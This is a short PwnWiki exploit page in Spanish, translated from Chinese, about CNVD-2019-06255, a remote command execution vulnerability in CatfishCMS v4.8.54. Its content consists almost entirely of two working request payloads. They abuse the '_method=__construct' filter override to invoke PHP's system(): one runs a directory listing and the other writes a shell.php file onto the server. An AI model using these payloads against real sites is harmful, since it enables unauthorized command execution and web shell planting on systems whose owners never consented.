CNVD-2019-06255 Vulnerabilidad de ejecución remota de comandos de CatfishCMS

From PwnWiki
This page is a translated version of the page CNVD-2019-06255 CatfishCMS遠程命令執行漏洞 and the translation is 100% complete.
Other languages:

Impacto de la vulnerabilidad

v4.8.54

Payload

s=dir&_method=__construct&method=*&filter[]=system
s=echo "shell" >shell.php&filter[]=system&method=*&_method=__construct